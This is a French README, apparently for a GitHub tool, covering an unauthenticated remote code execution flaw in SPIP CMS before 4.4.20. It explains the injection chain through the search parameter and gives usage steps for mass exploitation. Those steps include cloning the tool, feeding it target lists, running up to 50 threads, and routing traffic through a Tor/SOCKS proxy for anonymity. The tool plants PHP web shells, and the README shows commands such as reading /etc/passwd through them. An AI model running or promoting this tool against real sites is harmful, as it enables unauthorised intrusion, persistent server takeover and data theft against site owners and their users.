
SPIP avant 4.4.20 permet à des attaquants distants non authentifiés d'exécuter du code arbitraire
SPIP avant 4.4.20 permet à des attaquants distants non authentifiés d'exécuter du code arbitraire
Exécution de code à distance avant authentification dans le CMS SPIP — Toutes les versions antérieures à 4.4.20
CVE-2026-77647 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant toutes les versions du CMS SPIP antérieures à la 4.4.20.
La faille permet à un attaquant distant — sans aucune authentification ni interaction de l'utilisateur — d'exécuter du code PHP arbitraire sur le serveur cible. Elle a été activement exploitée dans la nature à partir d'août 2026, ce qui a conduit l'équipe SPIP à publier un correctif d'urgence.
Cet outil automatise la détection et l'exploitation de cette vulnérabilité sur plusieurs cibles avec une concurrence configurable.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-77647 |
| Logiciel affecté | SPIP CMS |
| Versions affectées | Toutes les versions antérieures à 4.4.20 |
| Type | Exécution de code à distance (RCE) non authentifiée |
| CWE | CWE-94 — Contrôle inapproprié de la génération de code (injection de code) |
| Score CVSS 3.1 | 9.8 / 10 — CRITIQUE |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune requise (pré-authentification) |
| Exploitation | Activée dans la nature (août 2026) |
| Correctif | SPIP 4.4.20 (Avis) |
| Métrique | Valeur | Signification |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable à distance via Internet |
| Complexité d'attaque | Faible | Aucune condition particulière requise |
| Privilèges requis | Aucun | Aucune authentification nécessaire |
| Interaction utilisateur | Aucune | Aucune action de la victime requise |
| Portée | Inchangée | Impact limité au système vulnérable |
| Confidentialité | Élevée | Accès complet en lecture à toutes les données |
| Intégrité | Élevée | Accès complet en écriture / modification |
| Disponibilité | Élevée | Déni de service complet possible |
La vulnérabilité découle de deux problèmes interdépendants dans le moteur de templates de SPIP :
Identification incorrecte des blocs <?php — le moteur de templates de SPIP ne parvient pas à assainir correctement les balises d'ouverture PHP dans les entrées contrôlées par l'utilisateur, en particulier dans le paramètre de recherche (recherche).
Mauvaise gestion de var_export — la fonction var_export() de PHP gère mal certains cas limites, notamment lorsque l'entrée contient le caractère <, ce qui permet l'injection de code PHP exécutable.
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
L'attaquant envoie une charge utile forgée via la fonctionnalité de recherche de SPIP (?page=recherche&recherche=PAYLOAD). La charge utile exploite le mécanisme d'en-tête HTTP X-Spip-Filtre pour déclencher html_entity_decode, qui décode le code PHP injecté. Le code décodé est ensuite évalué par le moteur de rendu de templates de SPIP, permettant l'exécution de code arbitraire.
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
Créez un fichier nommé list.txt (ou tout autre nom personnalisé) avec une cible par ligne :
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
Remarque : les cibles sans schéma (
http://ouhttps://) utiliseronthttp://par défaut.
python CVE-2026-77647.py
L'outil vous demandera :
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| Vitesse | Threads | Timeout | Profil |
|---|---|---|---|
1 — Lent | 5 | 25s | 🔇 Furtif |
2 — Normal | 10 | 15s | ⚖️ Équilibré |
3 — Rapide | 25 | 12s | ⚡ Agressif |
4 — Ultra | 50 | 10s | 🔥 Maximum |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
Prend en charge les proxys HTTP/HTTPS/SOCKS pour l'anonymisation.
Les résultats réussis sont enregistrés dans shells.txt :
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
Exécution de commandes :
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
Interface de téléversement de fichiers :
https://target.com/Nx_.php?k=nXk
Composed-By et l'empreinte de la pageIMG/, tmp/ et local/